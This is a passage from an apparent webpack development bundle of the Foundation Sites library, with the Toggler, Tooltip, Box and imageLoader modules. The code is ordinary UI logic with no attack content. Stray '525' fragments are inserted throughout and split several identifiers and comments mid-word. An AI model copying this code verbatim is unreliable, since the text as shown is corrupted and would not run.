default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Toggler.defaults, element.data(), options);\n      this.className = \'\';\n      this.className = \'Toggler\'; // ie9 back compat\n\n      // Triggers init is idempotent, just need to make sure it is initialized\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      this._init();\n      this._events();\n    }\n\n    /**\n     * Initializes the Toggler plugin by parsing the toggle class from data-toggler, or animation classes from data-animate.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_init",\n    value: function _init() {\n      // Collect triggers to set ARIA attributes to\n      var id = this.$element[0].id,\n        $triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open~=\\"".concat(id, "\\"], [data-close~=\\"").concat(id, "\\"], [data-toggle~=\\"").concat(id, "\\"]"));\n      var input;\n      // Parse animation classes if they were set\n      if (this.options.animate) {\n        input = this.options.animate.split(\' \');\n        this.animationIn = input[0];\n        this.animationOut = input[1] || null;\n\n        // - aria-expanded: according to the element visibility.\n        $triggers.attr(\'aria-expanded\', !this.$element.is(\':hidden\'));\n      }\n      // Otherwise, parse toggle class\n      else {\n        input = this.options.toggler;
525\n        if (typeof input !== \'string\' || !input.length) {\n          throw new Error("The \'toggler\' option containing the target class is required, got \\"".concat(input, "\\""));\n        }\n        // Allow for a . at the beginning of the string\n        this.className = input[0] === \'.\' ? input.slice(1) : input;\n\n        // - aria-expanded: according to the elements class set.\n        $triggers.attr(\'aria-expanded\', this.$element.hasClass(this.className));\n      }\n\n      // - aria-controls: adding the element id to it if not already in it.\n      $triggers.each(function (index, trigger) {\n        var $trigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()(trigger);\n        var controls = $trigger.attr(\'aria-controls\') || \'\';\n        var containsId = new RegExp("\\\\b".concat((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.RegExpEscape)(id), "\\\\b")).test(controls);\n        if (!containsId) $trigger.attr(\'aria-controls\', controls ? "".concat(controls, " ").concat(id) : id);\n      });\n    }\n\n    /**\n     * Initializes events for the toggle trigger.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_events",\n    value: function _events() {\n      this.$element.off(\'toggle.zf.trigger\').on(\'toggle.zf.trigger\', this.toggle.bind(this));\n    }\n\n    /**\n     * Toggles the target class on the target element. An event is fired from the original trigger depending on if the resultant state was "on" or "off".\n     * @function\n     * @fires Toggler#on\n     * @fires Toggler#off\n     */\n  }, {\n    key: "toggle",\n    value: function toggle() {\n      this[this.options.animate ? \'_toggleAnimate\' : \'_toggleClass\']();\n    }\n  }, {\n    key: "_toggleClass",\n    value: function _toggleClass() {\n      this.$element.toggleClass(this.className);\n      var isOn = this.$element.hasClass(this.className);\n      if (isOn) {\n        /**\n         * Fires if the target element has the class after a toggle.\n         * @event Toggler#on\n         */\n        this.$element.trigger(\'on.zf.toggler\');\n      } else {\n        /**\n         * Fires if the target element does not have the class after a toggle.\n         * @event Toggler#off\n         */\n        this.$element.trigger(\'off.zf.toggler\');\n      }\n      this._updateARIA(isOn);\n      this.$element.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n    }\n  }, {\n    key: "_toggleAnimate",\n    value: function _toggleAnimate() {\n      var _this = this;\n      if (this.$element.is(\':hidden\')) {\n        _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__.Motion.animateIn(this.$element, this.animationIn, function () {\n          _this._updateARIA(true);\n          this.trigger(\'on.zf.toggler\');\n          this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n        });\n      } else {\n        _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__.Motion.animateOut(this.$element, this.animationOut, function () {\n          _this._updateARIA(false);\n          this.trigger(\'off.zf.toggler\');\n          this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n        });\n      }\n    }\n  }, {\n    key: "_updateARIA",\n    value: function _updateARIA(isOn) {\n      var id = this.$element[0].id;\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open=\\"".concat(id, "\\"], [data-close=\\"").concat(id, "\\"], [data-toggle=\\"").concat(id, "\\"]")).attr({\n        \'aria-expanded\': isOn ? true : false\n      });\n    }\n\n    /**\n     * Destroys the instance of Toggler on the element.\n     * @function\n     */\n  }, {\n    key: "_destroy",\n    value: function _destroy() {\n      this.$element.off(\'.zf.toggler\');\n    }\n  }]);\n  return Toggler;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__.Plugin);\nToggler.defaults = {\n  /**\n   * Class of the element to toggle. It can be provided with or without "."\n   * @option\n   * @type {string}\n   */\n  toggler: undefined,\n  /**\n   * Tells the plugin if the element should animated when toggled.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  animate: false\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.toggler.js?')},"./js/foundation.tooltip.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Tooltip: function() { return /* binding */ Tooltip; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n/* harmony import */ var _foundation_positionable__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.positionable */ \"./js/foundation.positionable.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _get() { if (typeof Reflect !== \"undefined\" && Reflect.get) { _get = Reflect.get.bind(); } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(arguments.length < 3 ? target : receiver); } return desc.value; }; } return _get.apply(this, arguments); }\nfunction _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * Tooltip module.\n * @module foundation.tooltip\n * @requires foundation.util.box\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.triggers\n */\nvar Tooltip = /*#__PURE__*/function (_Positionable) {\n  _inherits(Tooltip, _Positionable);\n  var _super = _createSuper(Tooltip);\n  function Tooltip() {\n    _classCallCheck(this, Tooltip);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Tooltip, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of a Tooltip.\n     * @class\n     * @name Tooltip\n     * @fires Tooltip#init\n     * @param {jQuery} element - jQuery object to attach a tooltip to.\n     * @param {Object} options - object to extend the default configuration.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Tooltip.defaults, this.$element.data(), options);\n      this.className = 'Tooltip'; // ie9 back compat\n\n      this.isActive = false;\n      this.isClick = false;\n\n      // Triggers init is idempotent, just need to make sure it is initialized\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      this._init();\n    }\n\n    /**\n     * Initializes the tooltip by setting the creating the tip element, adding it's text, setting private variables and setting attributes on the anch
525or.\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__.MediaQuery._init();\n      var elemId = this.$element.attr('aria-describedby') || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__.GetYoDigits)(6, 'tooltip');\n      this.options.tipText = this.options.tipText || this.$element.attr('title');\n      this.template = this.options.template ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.template) : this._buildTemplate(elemId);\n      if (this.options.allowHtml) {\n        this.template.appendTo(document.body).html(this.options.tipText).hide();\n      } else {\n        this.template.appendTo(document.body).text(this.options.tipText).hide();\n      }\n      this.$element.attr({\n        'title': '',\n        'aria-describedby': elemId,\n        'data-yeti-box': elemId,\n        'data-toggle': elemId,\n        'data-resize': elemId\n      }).addClass(this.options.triggerClass);\n      _get(_getPrototypeOf(Tooltip.prototype), \"_init\", this).call(this);\n      this._events();\n    }\n  }, {\n    key: \"_getDefaultPosition\",\n    value: function _getDefaultPosition() {\n      // handle legacy classnames\n      var elementClassName = this.$element[0].className;\n      if (this.$element[0] instanceof SVGElement) {\n        elementClassName = elementClassName.baseVal;\n      }\n      var position = elementClassName.match(/\\b(top|left|right|bottom)\\b/g);\n      return position ? position[0] : 'top';\n    }\n  }, {\n    key: \"_getDefaultAlignment\",\n    value: function _getDefaultAlignment() {\n      return 'center';\n    }\n  }, {\n    key: \"_getHOffset\",\n    value: function _getHOffset() {\n      if (this.position === 'left' || this.position === 'right') {\n        return this.options.hOffset + this.options.tooltipWidth;\n      } else {\n        return this.options.hOffset;\n      }\n    }\n  }, {\n    key: \"_getVOffset\",\n    value: function _getVOffset() {\n      if (this.position === 'top' || this.position === 'bottom') {\n        return this.options.vOffset + this.options.tooltipHeight;\n      } else {\n        return this.options.vOffset;\n      }\n    }\n\n    /**\n     * builds the tooltip element, adds attributes, and returns the template.\n     * @private\n     */\n  }, {\n    key: \"_buildTemplate\",\n    value: function _buildTemplate(id) {\n      var templateClasses = \"\".concat(this.options.tooltipClass, \" \").concat(this.options.templateClasses).trim();\n      var $template = jquery__WEBPACK_IMPORTED_MODULE_0___default()('<div></div>').addClass(templateClasses).attr({\n        'role': 'tooltip',\n        'aria-hidden': true,\n        'data-is-active': false,\n        'data-is-focus': false,\n        'id': id\n      });\n      return $template;\n    }\n\n    /**\n     * sets the position class of an element and recursively calls itself until there are no more possible positions to attempt, or the tooltip element is no longer colliding.\n     * if the tooltip is larger than the screen width, default to full width - any user selected margin\n     * @private\n     */\n  }, {\n    key: \"_setPosition\",\n    value: function _setPosition() {\n      _get(_getPrototypeOf(Tooltip.prototype), \"_setPosition\", this).call(this, this.$element, this.template);\n    }\n\n    /**\n     * reveals the tooltip, and fires an event to close any other open tooltips on the page\n     * @fires Tooltip#closeme\n     * @fires Tooltip#show\n     * @function\n     */\n  }, {\n    key: \"show\",\n    value: function show() {\n      if (this.options.showOn !== 'all' && !_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__.MediaQuery.is(this.options.showOn)) {\n        // console.error('The screen is too small to display this tooltip');\n        return false;\n      }\n      var _this = this;\n      this.template.css('visibility', 'hidden').show();\n      this._setPosition();\n      this.template.removeClass('top bottom left right').addClass(this.position);\n      this.template.removeClass('align-top align-bottom align-left align-right al
525ign-center').addClass('align-' + this.alignment);\n\n      /**\n       * Fires to close all other open tooltips on the page\n       * @event Closeme#tooltip\n       */\n      this.$element.trigger('closeme.zf.tooltip', this.template.attr('id'));\n      this.template.attr({\n        'data-is-active': true,\n        'aria-hidden': false\n      });\n      _this.isActive = true;\n      this.template.stop().hide().css('visibility', '').fadeIn(this.options.fadeInDuration, function () {\n        //maybe do stuff?\n      });\n      /**\n       * Fires when the tooltip is shown\n       * @event Tooltip#show\n       */\n      this.$element.trigger('show.zf.tooltip');\n    }\n\n    /**\n     * Hides the current tooltip, and resets the positioning class if it was changed due to collision\n     * @fires Tooltip#hide\n     * @function\n     */\n  }, {\n    key: \"hide\",\n    value: function hide() {\n      var _this = this;\n      this.template.stop().attr({\n        'aria-hidden': true,\n        'data-is-active': false\n      }).fadeOut(this.options.fadeOutDuration, function () {\n        _this.isActive = false;\n        _this.isClick = false;\n      });\n      /**\n       * fires when the tooltip is hidden\n       * @event Tooltip#hide\n       */\n      this.$element.trigger('hide.zf.tooltip');\n    }\n\n    /**\n     * adds event listeners for the tooltip and its anchor\n     * TODO c
525ombine some of the listeners like focus and mouseenter, etc.\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this = this;\n      var hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined';\n      var isFocus = false;\n\n      // `disableForTouch: Fully disable the tooltip on touch devices\n      if (hasTouch && this.options.disableForTouch) return;\n      if (!this.options.disableHover) {\n        this.$element.on('mouseenter.zf.tooltip', function () {\n          if (!_this.isActive) {\n            _this.timeout = setTimeout(function () {\n              _this.show();\n            }, _this.options.hoverDelay);\n          }\n        }).on('mouseleave.zf.tooltip', (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__.ignoreMousedisappear)(function () {\n          clearTimeout(_this.timeout);\n          if (!isFocus || _this.isClick && !_this.options.clickOpen) {\n            _this.hide();\n          }\n        }));\n      }\n      if (hasTouch) {\n        this.$element.on('tap.zf.tooltip touchend.zf.tooltip', function () {\n          _this.isActive ? _this.hide() : _this.show();\n        });\n      }\n      if (this.options.clickOpen) {\n        this.$element.on('mousedown.zf.tooltip', function () {\n          if (_this.isClick) {\n            //_this.hide();\n            // _this.isClick = false;\n          } else {\n            _this.isClick = true;\n            if ((_this.options.disableHover || !_this.$element.attr('tabindex')) && !_this.isActive) {\n              _this.show();\n            }\n          }\n        });\n      } else {\n        this.$element.on('mousedown.zf.tooltip', function () {\n          _this.isClick = true;\n        });\n      }\n      this.$element.on({\n        // 'toggle.zf.trigger': this.toggle.bind(this),\n        // 'close.zf.trigger': this.hide.bind(this)\n        'close.zf.trigger': this.hide.bind(this)\n      });\n      this.$element.on('focus.zf.tooltip', function () {\n        isFocus = true;\n        if (_this.isClick) {\n          // If we're not showing open on clicks, we need to pretend a click-launched focus isn't\n          // a real focus, otherwise on hover and come back we get bad behavior\n          if (!_this.options.clickOpen) {\n            isFocus = false;\n          }\n          return false;\n        } else {\n          _this.show();\n        }\n      }).on('focusout.zf.tooltip', function () {\n        isFocus = false;\n        _this.isClick = false;\n        _this.hide();\n      }).on('resizeme.zf.trigger', function () {\n        if (_this.isActive) {\n          _this._setPosition();\n        }\n      });\n    }\n\n    /**\n     * adds a toggle method, in addition to the static show() & hide() functions\n     * @function\n     */\n  }, {\n    key: \"toggle\",\n    value: function toggle() {\n      if (this.isActive) {\n        this.hide();\n      } else {\n        this.show();\n      }\n    }\n\n    /**\n     * Destroys an instance of tooltip, removes template element from the view.\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.$element.attr('title', this.template.text()).off('.zf.trigger .zf.tooltip').removeClass(this.options.triggerClass).removeClass('top right left bottom').removeAttr('aria-describedby data-disable-hover data-resize data-toggle data-tooltip data-yeti-box');\n      this.template.remove();\n    }\n  }]);\n  return Tooltip;\n}(_foundation_positionable__WEBPACK_IMPORTED_MODULE_4__.Positionable);\nTooltip.defaults = {\n  /**\n   * Time, in ms, before a tooltip should open on hover.\n   * @option\n   * @type {number}\n   * @default 200\n   */\n  hoverDelay: 200,\n  /**\n   * Time, in ms, a tooltip should take to fade into view.\n   * @option\n   * @type {number}\n   * @default 150\n   */\n  fadeInDuration: 150,\n  /**\n   * Time, in ms, a tooltip should take to fade out of view.\n   * @option\n   * @type {number}\n   * @default 150\n   */\n  fadeOutDuration: 150,\n  /**\n   * Disables hover events from opening the tooltip if set to true\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  disableHover: false,\n  /**\n   * Disable the tooltip for touch devices.\n   * This can be useful to make elements with a tooltip on it trigger their\n   * action on the first tap instead of displaying the tooltip.\n   * @option\n   * @type {booelan}\n   * @default false\n   */\n  disableForTouch: false,\n  /**\n   * Optional addtional classes to apply to the tooltip template on init.\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  templateClasses: '',\n  /**\n   * Non-optional class added to tooltip templates. Foundation default is 'tooltip'.\n   * @option\n   * @type {string}\n   * @default 'tooltip'\n   */\n  tooltipClass: 'tooltip',\n  /**\n   * Class applied to the tooltip anchor element.\n   * @option\n   * @type {string}\n   * @default 'has-tip'\n   */\n  triggerClass: 'has-tip',\n  /**\n   * Minimum breakpoint size at which to open the tooltip.\n   * @option\n   * @type {string}\n   * @default 'small'\n   */\n  showOn: 'small',\n  /**\n   * Custom template to be used to generate markup for tooltip.\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  template: '',\n  /**\n   * Text displayed in the tooltip template on open.\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  tipText: '',\n  touchCloseText: 'Tap to close.',\n  /**\n   * Allows the tooltip to remain open if triggered with a click or touch event.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  clickOpen: true,\n  /**\n   * Position of tooltip. Can be left, right, bottom, top, or auto.\n   * @option\n   * @type {string}\n   * @default 'auto'\n   */\n  position: 'auto',\n  /**\n   * Alignment of tooltip relative to anchor. Can be left, right, bottom, top, center, or auto.\n   * @option\n   * @type {string}\n   * @default 'auto'\n   */\n  alignment: 'auto',\n  /**\n   * Allow overlap of container/window. If false, tooltip will first try to\n   * position as defined by data-position and data-alignment, but reposition if\n   * it would cause an overflow.  @option\n   * @type {boolean}\n   * @default false\n   */\n  allowOverlap: false,\n  /**\n   * Allow overlap of only the bottom of the container. This is the most common\n   * behavior for dropdowns, allowing the dropdown to extend the bottom of the\n   * screen but not otherwise influence or break out of the container.\n   * Less common for tooltips.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  allowBottomOverlap: false,\n  /**\n   * Distance, in pixels, the template should push away from the anch
525or on the Y axis.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  vOffset: 0,\n  /**\n   * Distance, in pixels, the template should push away from the anchor on the X axis\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  hOffset: 0,\n  /**\n   * Distance, in pixels, the template spacing auto-adjust for a vertical tooltip\n   * @option\n   * @type {number}\n   * @default 14\n   */\n  tooltipHeight: 14,\n  /**\n   * Distance, in pixels, the template spacing auto-adjust for a horizontal tooltip\n   * @option\n   * @type {number}\n   * @default 12\n   */\n  tooltipWidth: 12,\n  /**\n  * Allow HTML in tooltip. Warning: If you are loading user-generated content into tooltips,\n  * allowing HTML may open yourself up to XSS attacks.\n  * @option\n  * @type {boolean}\n  * @default false\n  */\n  allowHtml: false\n};\n\n/**\n * TODO utilize resize event trigger\n */\n\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.tooltip.js?")},"./js/foundation.util.box.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Box: function() { return /* binding */ Box; }\n/* harmony export */ });\nvar Box = {\n  ImNotTouchingYou: ImNotTouchingYou,\n  OverlapArea: OverlapArea,\n  GetDimensions: GetDimensions,\n  GetExplicitOffsets: GetExplicitOffsets\n};\n\n/**\n * Compares the dimensions of an element to a container and determines collision events with container.\n * @function\n * @param {jQuery} element - jQuery object to test for collisions.\n * @param {jQuery} parent - jQuery object to use as bounding container.\n * @param {Boolean} lrOnly - set to true to check left and right values only.\n * @param {Boolean} tbOnly - set to true to check top and bottom values only.\n * @default if no parent object passed, detects collisions with `window`.\n * @returns {Boolean} - true if collision free, false if a collision in any direction.\n */\nfunction ImNotTouchingYou(element, parent, lrOnly, tbOnly, ignoreBottom) {\n  return OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) === 0;\n}\nfunction OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) {\n  var eleDims = GetDimensions(element),\n    topOver,\n    bottomOver,\n    leftOver,\n    rightOver;\n  if (parent) {\n    var parDims = GetDimensions(parent);\n    bottomOver = parDims.height + parDims.offset.top - (eleDims.offset.top + eleDims.height);\n    topOver = eleDims.offset.top - parDims.offset.top;\n    leftOver = eleDims.offset.left - parDims.offset.left;\n    rightOver = parDims.width + parDims.offset.left - (eleDims.offset.left + eleDims.width);\n  } else {\n    bottomOver = eleDims.windowDims.height + eleDims.windowDims.offset.top - (eleDims.offset.top + eleDims.height);\n    topOver = eleDims.offset.top - eleDims.windowDims.offset.top;\n    leftOver = eleDims.offset.left - eleDims.windowDims.offset.left;\n    rightOver = eleDims.windowDims.width - (eleDims.offset.left + eleDims.width);\n  }\n  bottomOver = ignoreBottom ? 0 : Math.min(bottomOver, 0);\n  topOver = Math.min(topOver, 0);\n  leftOver = Math.min(leftOver, 0);\n  rightOver = Math.min(rightOver, 0);\n  if (lrOnly) {\n    return leftOver + rightOver;\n  }\n  if (tbOnly) {\n    return topOver + bottomOver;\n  }\n\n  // use sum of squares b/c we care about overlap area.\n  return Math.sqrt(topOver * topOver + bottomOver * bottomOver + leftOver * leftOver + rightOver * rightOver);\n}\n\n/**\n * Uses native methods to return an object of dimension values.\n * @function\n * @param {jQuery || HTML} element - jQuery object or DOM element for which to get the dimensions. Can be any element other that document or window.\n * @returns {Object} - nested object of integer pixel values\n * TODO - if element is window, return only those values.\n */\nfunction GetDimensions(elem) {\n  elem = elem.length ? elem[0] : elem;\n  if (elem === window || elem === document) {\n    throw new Error(\"I'm sorry, Dave. I'm afraid I can't do that.\");\n  }\n  var rect = elem.getBoundingClientRect(),\n    parRect = elem.parentNode.getBoundingClientRect(),\n    winRect = document.body.getBoundingClientRect(),\n    winY = window.pageYOffset,\n    winX = window.pageXOffset;\n  return {\n    width: rect.width,\n    height: rect.height,\n    offset: {\n      top: rect.top + winY,\n      left: rect.left + winX\n    },\n    parentDims: {\n      width: parRect.width,\n      height: parRect.height,\n      offset: {\n        top: parRect.top + winY,\n        left: parRect.left + winX\n      }\n    },\n    windowDims: {\n      width: winRect.width,\n      height: winRect.height,\n      offset: {\n        top: winY,\n        left: winX\n      }\n    }\n  };\n}\n\n/**\n * Returns an object of top and left integer pixel values for dynamically rendered elements,\n * such as: Tooltip, Reveal, and Dropdown. Maintained for backwards compatibility, and where\n * you don't know alignment, but generally from\n * 6.4 forward you should use GetExplicitOffsets, as GetOffsets conflates position and alignment.\n * @function\n * @param {jQuery} element - jQuery object for the element being positioned.\n * @param {jQuery} anchor - jQuery object for the element's anchor point.\n * @param {String} position - a string relating to the desired position of the element, relative to it's anchor\n * @param {Number} vOffset - integer pixel value of desired vertical separation between anchor and element.\n * @param {Number} hOffset - integer pixel value of desired horizontal separation between anchor and element.\n * @param {Boolean} isOverflow - if a collision event is detected, sets to true to default the element to full width - any desired offset.\n * TODO alter/rewrite to work with `em` values as well/instead of pixels\n */\nfunction GetExplicitOffsets(element, anch
525or, position, alignment, vOffset, hOffset, isOverflow) {\n  var $eleDims = GetDimensions(element),\n    $anchorDims = anchor ? GetDimensions(anchor) : null;\n  var topVal, leftVal;\n  if ($anchorDims !== null) {\n    // set position related attribute\n    switch (position) {\n      case 'top':\n        topVal = $anchorDims.offset.top - ($eleDims.height + vOffset);\n        break;\n      case 'bottom':\n        topVal = $anchorDims.offset.top + $anchorDims.height + vOffset;\n        break;\n      case 'left':\n        leftVal = $anchorDims.offset.left - ($eleDims.width + hOffset);\n        break;\n      case 'right':\n        leftVal = $anchorDims.offset.left + $anchorDims.width + hOffset;\n        break;\n    }\n\n    // set alignment related attribute\n    switch (position) {\n      case 'top':\n      case 'bottom':\n        switch (alignment) {\n          case 'left':\n            leftVal = $anchorDims.offset.left + hOffset;\n            break;\n          case 'right':\n            leftVal = $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset;\n            break;\n          case 'center':\n            leftVal = isOverflow ? hOffset : $anchorDims.offset.left + $anchorDims.width / 2 - $eleDims.width / 2 + hOffset;\n            break;\n        }\n        break;\n      case 'right':\n      case 'left':\n        switch (alignment) {\n          case 'bottom':\n            topVal = $anchorDims.offset.top - vOffset + $anchorDims.height - $eleDims.height;\n            break;\n          case 'top':\n            topVal = $anchorDims.offset.top + vOffset;\n            break;\n          case 'center':\n            topVal = $anchorDims.offset.top + vOffset + $anchorDims.height / 2 - $eleDims.height / 2;\n            break;\n        }\n        break;\n    }\n  }\n  return {\n    top: topVal,\n    left: leftVal\n  };\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.box.js?")},"./js/foundation.util.imageLoader.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   onImagesLoaded: function() { return /* binding */ onImagesLoaded; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n/**\n * Runs a callback function when images are fully loaded.\n * @param {Object} images - Image(s) to check if loaded.\n * @param {Func} callback - Function to execute when image is fully loaded.\n */\nfunction onImagesLoaded(images, callback) {\n  var unloaded = images.length;\n  if (unloaded === 0) {\n    callback();\n  }\n  images.each(function () {\n    // Check if image is loaded\n    if (this.complete && typeof this.naturalWidth !== 'undefined') {\n      singleImageLoaded();\n    } else {\n      // If the above check failed, simulate loading on detached element.\n      var image = new Image();\n      // Still count image as loaded if it finalizes with an error.\n      var events = \"load.zf.images error.zf.images\";\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(image).one(events, function me() {\n        // Unbind the event listeners. We're using 'one' but only one of the two events will have fired.\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off(events, me);\n        singleImageLoaded();\n      });\n      image.src = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('src');\n    }\n  });\n  function singleImageLoaded() {\n    unloaded--;\n    if (unloaded === 0) {\n      callback();\n    }\n  }\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.imageLoader.js?")},"./js/foundation.util.keyboard.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Keyboard: function() { return /* binding */ Keyboard; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var 